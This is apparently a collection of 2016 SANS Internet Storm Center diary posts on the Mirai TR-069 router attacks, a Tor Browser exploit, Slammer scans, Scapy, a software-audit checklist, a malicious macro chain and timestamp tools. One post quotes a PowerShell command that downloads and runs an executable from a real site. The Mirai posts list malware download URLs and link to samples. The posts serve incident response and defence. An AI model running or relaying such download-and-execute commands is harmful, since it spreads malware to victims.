Update: Mozilla now released Firefox 50.0.2 to fix this issue, and the tor project released the corresponding tor browser 6.0.7.

"Tor Browser," an easy to use package of Firefox and Tor is currently being attacked using a so far unpatched vulnerability. The Javascript-based exploit was first described on the Tor mailing list [1]. With the exploit being public now, it is likely only a matter of time to see this exploit used against Firefox outside of Tor.

Mozilla is working on a patch. And Tor Browser 6.0.7 which will hopefully be released later today is scheduled to include the fix. 

Until then: Best not to use Firefox if you can help it. The current version of Firefox, 50.0.1, which was released on Monday, is still vulnerable. While the exploit hasn't been spotted yet outside of Tor, expect it to show up by the time you read this.

An analysis of the shell code used in the exploit by "Wack0" concluded that the code is very similar to an exploit used by law enforcement in 2013 against an older version of Firefox/Tor Browser. [2]

[1] https://lists.torproject.org/pipermail/tor-talk/2016-November/042639.html
[2] https://gist.github.com/Wack0/0fedb57beb90aae7f526ac6235ba85ef

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Got a couple of reports recently about an increase in port 1434 scanning for the infamous "Slammer" (aka "Saphire") MS-SQL Server vulnerability. Sad to say: It looks like it never went away...  There appears to be still a "background" of about 50 source IPs/day that scan for port 1434. Now this is way down from the numbers we had in 2003/2004 (20-30,000 sources per day). But to put it in perspective: This was still about an order of magnitude lower than what we see for Mirai now. So let's look at this again in 13 years, and see how many DVRs are still sending Mirai style scans. Just like with Slammer, all it takes is a couple of them to survive to immediately infect new systems as they come online.

If you want a list of yesterday's sources, check here: https://isc.sans.edu/dailysources.html?mintargetport=1434&maxtargetport=1434

After removing some of the research scanners (Shodan, Shadowserver, Quadmetrics), I am left with this list:

ASN     | IP Address       | CT | Network Name
278     | 132.248.168.13   | MX | Universidad Nacional Autonoma de Mexico, MX
3462    | 218.161.5.128    | TW | HINET Data Communication Business Group, TW
3786    | 211.171.255.209  | KR | LGDACOM LG DACOM Corporation, KR
4134    | 123.149.204.221  | CN | CHINANET-BACKBONE No.31,Jin-rong Street, CN
4816    | 113.108.10.31    | CN | CHINANET-IDC-GD China Telecom (Group), CN
4837    | 61.180.150.241   | CN | CHINA169-BACKBONE CNCGROUP China169 Backbone, CN
5650    | 71.254.156.157   | US | FRONTIER-FRTR - Frontier Communications of America, Inc., US
6739    | 217.217.53.185   | ES | ONO-AS Cableuropa - ONO, ES
7018    | 12.197.61.82     | US | ATT-INTERNET4 - AT&T Services, Inc., US
7029    | 66.251.67.77     | US | WINDSTREAM - Windstream Communications Inc, US
7162    | 200.98.136.66    | BR | Universo Online S.A., BR
7418    | 200.54.147.125   | CL | TELEFÓNICA CHILE S.A., CL
7470    | 61.90.140.83     | TH | TRUEINTERNET-AS-AP TRUE INTERNET Co.,Ltd., TH
7643    | 203.162.174.119  | VN | VNPT-AS-VN Vietnam Posts and Telecommunications (VNPT), VN
7922    | 50.241.98.181    | US | COMCAST-7922 - Comcast Cable Communications, LLC, US
8342    | 81.176.67.100    | RU | RTCOMM-AS , RU
8560    | 74.208.99.70     | US | ONEANDONE-AS Brauerstrasse 48, DE
9808    | 120.193.156.74   | CN | CMNET-GD Guangdong Mobile Communication Co.Ltd., CN
11014   | 190.111.250.62   | AR | CPS, AR
11650   | 64.250.212.157   | US | PLDI - Pioneer Long Distance Inc., US
15311   | 200.42.174.194   | CL | Telefonica Empresas, CL
16276   | 94.23.191.55     | FR | OVH , FR
16509   | 54.238.213.183   | US | AMAZON-02 - Amazon.com, Inc., US
17676   | 61.206.152.38    | JP | GIGAINFRA Softbank BB Corp., JP
19108   | 173.81.219.56    | US | SUDDENLINK-COMMUNICATIONS - Suddenlink Communications, US
27892   | 150.185.222.111  | VE | Universidad del Zulia, VE
29073   | 89.248.167.131   | NL | QUASINETWORKS , NL
60781   | 81.171.7.169     | NL | LEASEWEB-NL Netherlands, NL

No idea if these are actually infected systems, or if these systems are just scanning for various "research projects" as well. Right now, none of the systems appears up.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

[This is a "cleaned up" version to summarize yesterday's diary about the attacks against DSL Routers]

What is "TR-069"

TR-069 (or its earlier version TR-064) is a standard published by the Broadband Forum. The Broadband Forum is an industry organization defining standards used to manage broadband networks. It focuses heavily on DSL type modems and more recently included fiber optic connections. "TR" stands for "Technical Report". TR-069 is considered the Broadband Forum's "Flagship Standard". [1] Many ISPs and device manufacturers are members of the broadband forum.

TR-069 allows ISPs to manage modems remotely. Port 7547 has been assigned to this protocol. Some devices appear to use port 5555 instead. I haven't found a standard defining port 5555 for this use, but it may be an older version. The standard suggests the use of TLS 1.2 but doesn't require it, and TLS would not have made a difference in this case. Authentication can happen via certificates, or 

TR-069 messages are encoded using SOAP. These SOAP requests include a message that is then parsed by the modem (CPE, "Consumer Premise Equipment). The standard defines a large range of required and optional features. For example, the modem can be rebooted, or reset to factory condition. A TR-069 message can also be used to get and set configuration parameters. Some of these parameters and the detail of the data model are defined in later technical reports. For example, TR-098 defined the NTP server feature abused in the exploit attempts we have seen.

A typical (non exploit) request to set an NTP Server would look like: (click on images for full size versions)

The response the modem would return will be:

The Vulnerability & Exploit

On November 7th, 2016, "kenzo2017" posted a blog post showing how the TR-064 "NewNTPServer" feature can be used to execute arbitrary commands. The blog post mentioned only the D1000 modem used by Irish ISP Eir as vulnerable [2]. As a proof of concept, the blog post included a Metasploit module to execute commands, and to retrieve the modems WiFi password. This particular modem is a rebranded modem manufactured by Zyxel. Other Eir modems (e.g. P-60HN-T1A_IPv6) were found to be vulnerable as well. There is no mention of Eir being notified of this issue. I also can't find a CVE number for this vulnerability. 

This isn't the first time TR-069 implementations were found to be vulnerable. Over the last couple of years, a number of different issues were discovered, most notably a "Misfortune Cookie" bug (%%cve:2014-9222%%). 

Deutsche Telekom Outage

On Sunday, November 27th, 2016, a large number of Deutsche Telekom customers reported connectivity problems. These issues were later traced to attacks against a particular type of modem. Deutsche Telekom uses the brand name "Speedport" for its modems, but the modems themselves are manufactured by different companies. Deutsche Telekom lists the Speedport W 921 V, 723V Typ B, and 921 Fiber as affected. All of these modems are made by Taiwanese company Acadyan, which does not appear to be connected to Zyxel, the maker of the vulnerable Eir modem. [3] Comsecuris ran tests on one of the modems and found it not vulnerable, but they did point out that the modem will become slow and "hang" even under moderate load, so it is possible that the connections Mirai sent to the modem caused it to hang, not the exploit itself. [4] 

Deutsche Telekom rolled out a firmware update to fix the vulnerability exploited by the attack. There has been no official statement from Deutsche Telekom confirming that the TR-069 attack was used to crash the modem. However, Deutsche Telekom did state that an "coding error" in the exploit caused the modems to crash instead of run the exploit code.

Increase in Scans for Port 7547

Around the time the outage in Germany, we did notice a substantial increase in the number of attacks against %%port:7547%%. Later, a similar increase was noted on %%port:5555%.

Honeypots confirmed that these scans are attempting to exploit the TR-069 NewNTPServer vulnerability (line breaks and color added for readability)

.

The command executed will download additional malware from "tr069.pw" and execute it. We found a number of different URLs being used. The file name varies from 1 through 7, but 1 and 2 are the most common once seen. There is also an "x.sh" script, but it usually doesn't exist on the web server.

Here are some of the URLs seen in our honeypots, as well as URLs observed by our readers:
 http://5.8.65.5/1
 http://5.8.65.5/2
 http://l.ocalhost.host/1
 http://l.ocalhost.host/2
 http://l.ocalhost.host/3
 http://l.ocalhost.host/x.sh
 http://p.ocalhost.host/x.sh
 http://timeserver.host/1
 http://ntp.timerserver.host/1
 http://tr069.pw/1 
 http://tr069.pw/2
 http://srrys.pw/2 (resolves to 5.188.232.152 right now. the other host names appear dead right now)

The different binaries (1-7) are essentially the same code, but compiled for different architectures. This may indicate that the same exploit is attempted against a wide range of vulnerable devices:

1: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped
4: ELF 32-bit LSB  executable, Renesas SH, version 1 (SYSV), statically linked, stripped
5: ELF 32-bit MSB  executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
6: ELF 32-bit MSB  executable, SPARC version 1 (SYSV), statically linked, stripped
7: ELF 32-bit MSB  executable, Motorola 68020 - invalid byte order, version 1 (SYSV), statically linked, stripped

Hashes observed (they vary based on the URL used to spread the code):

01fb38152c7f86aca2c42e8e8ebc46a9abeeac0501b0800e8009ee6328d112fd  1
b4d378a917b01bbb8a783bbd7a8cfe070c7dd6ac7b8aa5f205df6e7e24f0a85e  2
1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf  3
828984d1112f52f7f24bbc2b15d0f4cf2646cd03809e648f0d3121a1bdb83464  4
c597d3b8f61a5b49049006aff5abfe30af06d8979aaaf65454ad2691ef03943b  5
046659391b36a022a48e37bd80ce2c3bd120e3fe786c204128ba32aa8d03a182  6
5d4e46b3510679dc49ce295b7f448cd69e952d80ba1450f6800be074992b07cc  7

Based on a simple "strings" analysis, the code downloaded is the spreader looking for additional vulnerable systems. This code appears to be derived from the "Mirai" botnet. While earlier versions of Mirai used well know default or weak passwords, this version now added the TR-069 NetNTPServer exploit to its repertoire. The command and control servers resolve to a 6.0.0.0/8 IP address at this point which does not appear to be operations. It is assumed that this is used to "park" the botnet.

Countermeasures

As a consumer, if you suspect that your modem is vulnerable or worse, exploited: Reboot your modem and check on firmware updates. For some ISPs, like Deutsche Telekom, firmware updates are avaialbe. But you will typically receive the firmware from your ISP, not the modem's manufacturer. ISPs customize firmware, like for example by enabling TR-069, and a "default" manufacturer provided firmware may not work for you.

ISPs should (and typically will) restrict access to port 7547 and port 5555 if it is used for remote configuration. Modem should only accept connections from specific configuration servers. TR-069 implementations had vulnerabilities in the past, and it is very likely that additional issues will be found in the future. Restricting access to the port is necessary to protect the modem from exploits against unpatched vulnerabilities.

How Many Modems Are Vulnerable?

The number of devices listening on port 7547 is as larger as 40 Million according to counts performed with Shodan. But not all these modems may run vulnerable implementations, and some may only accept commends from specific servers. It is difficult to say which modems are vulnerable and which once are safe. My personal "best guess" is that this vulnerability may have added 1-2 Million new bots to the Mirai botnet. We do have about 600,000 source IPs scanning for this vulnerability in our database. But many of them may have been infected by Mirai via weak passwords. For a small number of sources that responded on Port 443, we connected and retrieved TLS certificates. The overwhelming portion of certificates where issues by Zyxel, indicating that it is infected Zyxel devices that are participating in the scanning.

Some tests done by Darren Martyn show that modems used by UK ISP TalkTalk, D-Link DSL 3780 modems, modems made by MitraStar, Digicom and Aztech are all vulnerable. He states that he found 48 different vulnerable devices [5] 

The attack so far doesn't appear to be targeting a particular geographic area or a particular ISP. 

What's Next?

At this point, the newly infected systems are just used to scan for more victims. But it is probably just a matter of time until they are used for DDoS attacks.

Further Reading

https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/
https://twitter.com/info_dox

Samples: https://isc.sans.edu/diaryimages/miraitr069binaries.zip (password: infected)

[1] https://www.broadband-forum.org/technical/download/TR-069_Amendment-5.pdf
[2] https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
[3] https://de.wikipedia.org/wiki/Speedport​
[4] https://comsecuris.com/blog/posts/were_900k_deutsche_telekom_routers_compromised_by_mirai/
[5] https://twitter.com/info_dox

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

[please see our updated article here for a summary of this event]

UPDATE (0830 PST/1630 GMT) - Russ

German Telekom is now offering a firmware update for the affected routers. Details (in German) are here: https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-921v/firmware-zum-speedport-w-921v. Affected user are advised to power off their router and power it on again after 30 seconds. During bootup the router should retrieve the new firmware from the Telekom servers.

Help URL for Detusche Telekom Customers that are affected: https://www.telekom.de/hilfe/hilfe-bei-stoerungen/anschluss-ausfall

Reviewing port 7547 scans with port 443 open results in the exclusive receipt of Zyxel SSL certificates.
depth=0 C = CN, ST = TAIWAN, L = XINZHU, O = ZyXEL, OU = DSL Unit, CN = ZyXEL, emailAddress = support@zyxel.com
It appears they make the vulnerable routers but that they are likely sold under different brands, or distributed by ISPs using their brand.

Be sure to read comments below as well. In particular, Austria is experiencing a strong increase in TR-069 traffic within the last 24 hours. According to Shodan, there are approximately 53,000 devices reachable on Port 7547 in Austria. Most of the traffic we currently see originates from other end-user DSL modems, a lot of it especially from Brazil.

---------------------------------------------------------------------------------------------------------------

Quick Action: If you suspect that you have a vulnerable router, then reboot it, and check if port 7547 is listening after you reboot (if infected, the router will no longer listen). If you can, block port 7547 and update your firmware if there is an update available. A reboot will "clean" the router until it is infected again. But given that the host name used no longer resolved, new infections should stop until the host name is changed again.

Update: Somewhat expected, but with the old host name l.ocalhost.host being taken down, the bot now uses timeserver.host and ntp.timerserver.host . Both resolve to 176.74.176.187 for now (Thanks Franceso). See the addition below for a list of hostnames observed in our honeypots.

For the last couple days, attack against %%port:7547%% have increased substantially. These scans appear to exploit a vulnerability in popular DSL routers. This issue may already have caused severe issues for German ISP Deutsche Telekom and may affect others as well (given that the US is just "waking up" from a long weekend). For Deutsche Telekom, Speedport routers appeared to be the main issue.

According to Shodan,  about 41 Million devices have port 7547 open. The code appears to be derived from Mirai with the additional scan for the SOAP vulnerability. Currently, honeypots see about one request every 5-10 minutes for each target IP.

Thanks to James for sending us one request he intercepted (added line breaks for readability)

• It appears to exploit a common vulnerability in the TR-069 configuration protocol.
• A Metasploit module implementing as exploit for the vulnerability can be found here: https://www.exploit-db.com/exploits/40740/
• The host name used: l.ocalhost.host is NOT localhost ;- ). It currently resolves for me to 212.92.127.146, but others also observed 5.188.232.[1,2,3,4]. Right now, the host name appears to no longer resolve for me on Comcast, but it still resolves on other ISPs that have the data still cached. 
• The file "1" is a MIPS executable. Based on strings, the file includes the SOAP request above, as well as a request to retrieve a file "2" which is an MSB MIPS variant of "1". There is also appears to be a file "3" for ARM.
• again, based on strings, the file enables an IP tables firewall rule for port 7547 to protect the router from additional exploits, and it does kill the telnet server.

Unconfirmed List of vulnerable routers:
- Eir D1000 Wireless Router (rebranded Zyxel Modem used by Irish ISP Eir)
- Speedport Router (Deutsche Telekom) [note that in an article by Comsecuris, at least one model of Speedport router used by Deutsche Telekom was found to be not vulnerable) https://comsecuris.com/blog/posts/were_900k_deutsche_telekom_routers_compromised_by_mirai/

Download URLs

 http://5.8.65.5/1
 http://5.8.65.5/2
 http://l.ocalhost.host/1
 http://l.ocalhost.host/2
 http://l.ocalhost.host/3
 http://l.ocalhost.host/x.sh
 http://p.ocalhost.host/x.sh
 http://timeserver.host/1
 http://ntp.timerserver.host/1
 http://tr069.pw/1 
 http://tr069.pw/2
 

SHA256 Hashes (Files 1-7):

7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2  1
7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2  2
1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf  3
828984d1112f52f7f24bbc2b15d0f4cf2646cd03809e648f0d3121a1bdb83464  4
c597d3b8f61a5b49049006aff5abfe30af06d8979aaaf65454ad2691ef03943b  5
046659391b36a022a48e37bd80ce2c3bd120e3fe786c204128ba32aa8d03a182  6
5d4e46b3510679dc49ce295b7f448cd69e952d80ba1450f6800be074992b07cc  7

File types (again, the file names are 1,2,3,4,5,6,7 )

1: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped
4: ELF 32-bit LSB  executable, Renesas SH, version 1 (SYSV), statically linked, stripped
5: ELF 32-bit MSB  executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
6: ELF 32-bit MSB  executable, SPARC version 1 (SYSV), statically linked, stripped
7: ELF 32-bit MSB  executable, Motorola 68020 - invalid byte order, version 1 (SYSV), statically linked, stripped

Virustotal Link:
https://virustotal.com/en/file/2548d997fcc8f32e2aa9605e730af81dc18a03b2108971147f0d305b845eb03f/analysis/
https://virustotal.com/en/file/97dd9e460f3946eb0b89ae81a0c3890f529ed47f8bd9fd00f161cde2b5903184/analysis/

https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/

https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

In continuation of observations from my GIAC Security Expert re-certification process, I'll focus here on a GCIA-centric topic: Scapy. Scapy is essential to the packet analyst skill set on so many levels. For your convenience, the Packetrix VM comes preconfigured with Scapy and Snort, so you're ready to go out of the gate if you'd like to follow along for a quick introduction.
Scapy is "a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more." This includes the ability to handle most tasks such as scanning, tracerouting, probing, unit tests, attacks or network discovery, thus replacing functionality expected from hping, 85% of nmap, arpspoof, tcpdump, and others.
If you'd really like to dig in, grab TJ O'Connor's  Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (you should already have it), as first discussed here in January 2013. TJ loves him some Scapy: Detecting and Responding to Data Link Layer Attacks is another reference. :-)
You can also familiarize yourself with Scapy's syntax in short order with the SANS Scapy Cheat Sheet as well.
Judy Novak's SANS GIAC Certified Intrusion Analyst Day 5 content offers a nice set of walk-throughs using Scapy, and given that it is copyrighted and private material, I won't share them here, but will follow a similar path so you have something to play along with at home. We'll use a real-world APT scenario given recent and unprecedented Russian meddling in American politics. According to SC Magazine, "Russian government hackers apparently broke into the Democratic National Committee (DNC) computer systems" in infiltrations believed to be the work of two different Russian groups, namely Cozy Bear/ CozyDuke/APT 29 and Fancy Bear/Sofacy/APT 28, working separately. As is often the case, ironically and consistently, one the best overviews of CozyDuke behaviors comes via Kaspersky's Securelist. This article is cited as the reference in a number of Emerging Threats Snort/Suricata rules for CozyDuke. Among them, 2020962 - ET TROJAN CozyDuke APT HTTP Checkin, found in the trojan.rules file, serves as a fine exemplar.
I took serious liberties with the principles of these rules and oversimplified things significantly with a rule as added to my local.rules file on my Packetrix VM. I then took a few quick steps with Scapy to ensure that the rule would fire as expected. Of the IOCs derived from the Securelist article, we know a few things that, if built into a PCAP with Scapy, should cause the rule to fire when the PCAP is read via Snort.

1. CozyDuke client to C2 calls were over HTTP
2. Requests for C2 often included a .php reference, URLs included the likes of /ajax/index.php
3. 209.200.83.43 was one of the C2 IPs, can be used as an example destination IP address

The resulting simpleton Snort rule appears in Figure 1.

Figure 1: Simple rule

To quickly craft a PCAP to trigger this rule, at a bash prompt, I ran scapy, followed by syn = IP(src="10.0.2.15", dst="209.200.83.43")/TCP(sport=1337, dport=80, flags="S")/"GET /ajax/index.php HTTP/1.1", then wrote the results out with wrpcap("/tmp/CozyDukeC2GET.pcap", syn), as seen in Figure 2.
 

Figure 2: Simple Scapy

Then a quick run of the resulting file through Snort with snort -A console -q -K none -r /tmp/CozyDukeC2GET.pcap -c ../etc/snort.conf, and we have a hit as seen in Figure 3.

Figure 3: Simple result

Scapy is ridiculously powerful and is given no justice here, hopefully just enough information to entice you to explore further. With just the principles established here, you can see the likes of options to craft and manipulate with ls(TCP) and ls(IP).
 

Figure 4: ls()

If you're studying for the likes of GCIA or just looking to improve your understanding of TCP/IP and NSM, no better way to do so than with Scapy.
Cheers...until next time.

Free software (open source or not) is interesting for many reasons. It can be adapted to your own needs, it can be easily integrated within complex architectures but the most important remains, of course, the price. Even if they are many hidden costs related to "free" software. In case of issues, a lot of time may be spent in searching for a solution or diving into the source code (and everybody knows that time is money!).

Today, more and more organisations are not afraid anymore to deploy free software in their infrastructure but are those solutions really secure? A customer came to me with an interesting question about performing a security audit of free software. The idea is to validate the software before deploying it in his (very sensitive) infrastructure. This could be seen as a kind of quality insurance.

The idea is not to perform a deep source code review or to pentest the tool but more to establish a checklist of key points. I already compiled a rough list of questions that I'd like to share with you:

• What is the programming language used?
  Not all languages have the same security maturity. Some applications rely on functions that may become obsolete and prevent regular updates (PHP is a good example). Is a specific version of the language required? (eg. Python 2 VS. Python 3). Also writing secure code in C or Perl isn't as easy as other languages.
   
• Architecture and security framework?
  Can the application be deployed in a virtual environment, is there a Docker container available? Are they other software components required (like a database server, a Redis server, ...). How easy may the application be deployed in high-availability? Does it work properly behind a reverse-proxy (in case of a web application)? Is it integrated or another software layer is required?
   
• Regular updates?
  Pieces of software have bugs and security issues. How are patches released and how often? How reactive are the developers? If there is a bug tracking system, check the average time required to fix an issue. Some projects are very impressive and roll out fixes within hours of being notified while others aren't as impressive. It must meet the same patching requirements as all other software.
   
• Roadmap for the coming months?
  Is there a roadmap in place with new features? Can users propose and submit new features?
   
• How big is the community around the project?
  Check out forums, mailing lists, issues reported on github.com. Are they regular commits? Are developers easily reachable? How many messages are posted on public resources?
   
• How big is the current users base?
  If the existing users base is large, there are chances that bugs will be found quickly and new features suggested. Do current users look happy while using the application?
   
• The documentation and quality of documentation within the code?
  A good documentation of the code means that it is maintainable. Documentation is mandatory to operate the application and to help to resolve issues.
   
• Are external pieces of code (like libraries) used?
  Most applications rely on external libraries (think about OpenSSL). These pieces of code must follow the same process.
   
• Data management?
  How safe is data used / generated by the application? Think about data "in use", "at rest" and "in move". Are backup and restore procedures available?
   
• Is there enough granularity in the configuration?
  How the application supports complex configuration? How deep can it be customized? Does it implement AAA (Authentication, Authorization & Accounting), RBAC (Role Based Access Control). 
   
• Extendability of the application?
  Is the application modular and can be expanded with modules or plugins? If you consider a popular application like Wordpress, the core is fairly well maintained, but plugins introduce most vulnerabilities, and may or may not get maintained very well, so you might suggest that 3rd party modules added to a free package be treated as separate pieces of software.
   
• Age and maturity of the project?
  If a new software has been released yesterday, it will be more difficult to review it.
   
• What is the license used to distribute the software?
  The license must be reviewed to ensure there are no restrictions on its intended use. A lot of free software is not free for corporate use. If you have plans to adapt the software to your own needs, how to not break the existing license?
   
• Integration with other tools?
  Is is easy to integrate the applications with authentication mechanisms (LDAP, RADIUS)? Can logs be easily exported? (Syslog, CEF)
   
• Are they CVE related to the software?
  How many CVE's released in the last x months? What is the severity of CVE's? Repeated issues in CVE's (did they just fix that one instance or look at the rest of the code base for similar issues and fix them as well). If a piece of software released recently has no CVEs associated with it, it doesn't indicate that it's secure. More CVE’s could mean that code quality is not good or that more people are analyzing  the code and finding holes. On the other side, a  lack of CVE’s doesn’t necessarily make a particular piece of code more secure. I suggest keeping track of CVE’s issued and how quickly patches are released to correct CVE’s and basing your decision on that. 
   
• Used in commercial solutions?
  If commercial companies embedded the project in their products, these companies have huge teams of developers that could ensure that security issues will be fixed.
   
• Commercial support?
  Can a freelance be hired to help in the integration or the debug of issues?

As a final remark, there is no specific reason not to perform the same for commercial products. Most commercial products either use or depend on open source libraries/software. Also keep in mind that a commercial product doesn't mean a secure one.

Do you have other controls that could be added to the list? Feel free to share your comments!

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

I updated my base64dump.py program to help with extraction of shellcode from JavaScript.

base64dump now also support Unicode encoding and hexadecimal. If you have suggestions for other encodings, please post a comment.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script.  When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses. 

In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe

When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe';

When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple.

GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1
Host: www.tessaban.com
Connection: Keep-Alive

So let's map out controls we can put in place to prevent the attack lifecycle.

1. Stopping delivery of the message (In order of $ and Complexity)
   1. Hold attachment for X number of hours so AV my catch up
   2. Convert file to another type (e.g. Word -> PDF)
   3. Mangle the macro in the file before delivery
   4. Sandbox the attachment before delivery
   5. Preventing Macros from running
2. Disable macros via GPO
3. Block users from Cmd.exe
   1. Use an Applocker policy to block cmd.exe
4. Prevent Powershell from running unsigned scripts
   1. Lots of ways to bypass
5. Prevent download of malware 
   1. Use sinkhole/proxy ect.
6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
   1. Applocker 

Now by looking at this list you can determine what make sense in your environment due to technical or political issues.  This exercise will have you prepared to answer the questions, how can we prevent this in the future.  I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$). 

--

Tom Webb

@twsecblog

Thanks to your help, we found an application that will display a ZIP comment by default: WinRAR.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

I got hold of a malicious document e-mailed inside a password protected ZIP file.

This time I'm not going to write about the maldoc, but about the ZIP file. The password for the ZIP file was mentioned with instructions in the e-mail spammed to many recipients. Obviously this is done in an attempt to bypass detection by e-mail scanners, but with the hope that the recipients would follow the instructions and provide the password when the ZIP application asks for it.

Now I'm coming to the point: this ZIP file also contained a comment that mentioned the password:

And I hope you can help me with my question: what Windows application does display the ZIP comment by default when a ZIP file is opened?

I tried Windows Explorer, WinZip and 7-Zip, but without success.

If you have an idea, please post a comment.

Update: WinRAR displays comments by default.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

Interpreting and converting timestamps in the right format (and especially timezone) is paramount in every analysis. Conveniently enough, all forensics analysis suites do this automatically for us and there are also some utilities, some available online [1], some free [2] and some other not really [3], which help converting epoch times. However, all of those I have found either are GUI based (and mostly MS Windows utilities), so if you mainly/often use the command line you have to do it manually yourself. 

In dealing with “epoch” times, the though part is to remember all of them, the day zero of the different systems. When saying Epoch time, we usually tend to refer to The Epoch time as per Unix time which represent the number of seconds elapsed since January 1, 1970 00:00:00. But if we are doing an analysis on iPhone for example, iOS uses MAC Absolute time (or Cocoa time)[4], which represents the number of seconds elapsed since January 1, 2001 00:00:00. What if you are on a Mac OS X? Yet another one, HFS+ counts the number of seconds from January 1, 1904 00:00:00. NTFS? Even nicer, the number of 100 nano seconds since January 1, 1601 00:00:00 [5]. And the list goes on and on, you got it.

So I thought I would automate the conversion and collect the most frequent Epoch times I encounter into a script, epochalypse.py 
At the moment, this is the list of Epoch timestamps supported

|    TIMESTAMP   |           EPOCH           |  RESOLUTION  |
|----------------+---------------------------+--------------+
| Mac OSX (HFS+) |  1904-01-01 00:00:00 UTC  |      1s      |
|----------------+---------------------------+--------------+
|      Cocoa     |  2001-01-01 00:00:00 UTC  |      1s      |
|----------------+---------------------------+--------------+
|     WebKit     |  1601-01-01 00:00:00 UTC  |      1μs     |
|----------------+---------------------------+--------------+
|      Unix      |  1970-01-01 00:00:00 UTC  |      1s      |
|----------------+---------------------------+--------------+
|Microsoft (NFTS)|  1601-01-01 00:00:00 UTC  |     100ns    |
|----------------+---------------------------+--------------+
|       FAT      |  1980-01-01 00:00:00 UTC  |      1s      |
|________________|___________________________|______________|

Usage is quite straightforward: use the –e option to pass the epoch time to be converted and that’s it
Argo:epochalypse paco$ python epochalypse.py
usage: epochalypse.py [-h] [-e]

optional arguments:
  -h, --help     show this help message and exit
  -e , --epoch   Epoch time to be converted

As you can see from this simple test, if you pass 0 it will give back the starting point of each epoch time:

Argo:epochalypse paco$ python epochalypse.py -e 0

##########################################################
#                                                        #
#      Epochalypse - Epoch time converter utility        #
#            by Pasquale Stirparo, @pstirparo            #
#                                                        #
##########################################################

Epoch Time input to be converted:  0
Unix:   1970-01-01 00:00:00 UTC
COCOA:  2001-01-01 00:00:00 UTC
FAT:    1980-01-01 00:00:00 UTC
HFS+:   1904-01-01 00:00:00 UTC
WebKit: 1601-01-01 00:00:00 UTC
NTFS:   1601-01-01 00:00:00 UTC

If you pass any other value, it will try to compute for each different epoch, it’s up to you to pick up the one from the system you were referring to. If the input is not a valid one for a given epoch time, it will just leave the line empty

Argo:epochalypse paco$ python epochalypse.py -e 1479650099
...
Epoch Time input to be converted:  1479650099
Unix:   2016-11-20 13:54:59 UTC
COCOA:  2047-11-21 13:54:59 UTC
FAT:    2026-11-20 13:54:59 UTC
HFS+:   1950-11-20 13:54:59 UTC
WebKit: 1601-01-01 00:24:39 UTC
NTFS:   1601-01-01 00:02:27 UTC

Argo:epochalypse paco$ python epochalypse.py -e -1479650099
...
Epoch Time input to be converted:  -1479650099
Unix:   1923-02-11 10:05:01 UTC
COCOA:  1954-02-11 10:05:01 UTC
FAT:    1933-02-10 10:05:01 UTC
HFS+: - 
WebKit: 1600-12-31 23:35:20 UTC
NTFS:   1600-12-31 23:57:32 UTC

That’s it. This is a quick and dirty solution it was useful for me and thought I would share. If you would like to add any other timestamp, just reach out and let me know, more than happy to make it more comprehensive. Off course, any bug report is welcome as well. You can find the code in my github repo https://github.com/pstirparo/utils

Happy Hunting,
Pasquale

References:
[1] – EpochConverter, http://www.epochconverter.com/
[2] – Digital Detective, DCode, http://www.digital-detective.net/digital-forensic-software/free-tools/
[3] – BlackBag Technologies, Epoch Converter, https://www.blackbagtech.com/resources/freetools/epochconverter.html
[4] – Apple, Cocoa Date and Time Programming Guide, https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/DatesAndTimes/Articles/dtDates.html
[5] – Microsoft NTFS File Time, https://msdn.microsoft.com/en-us/library/windows/desktop/ms724290(v=vs.85).aspx

----
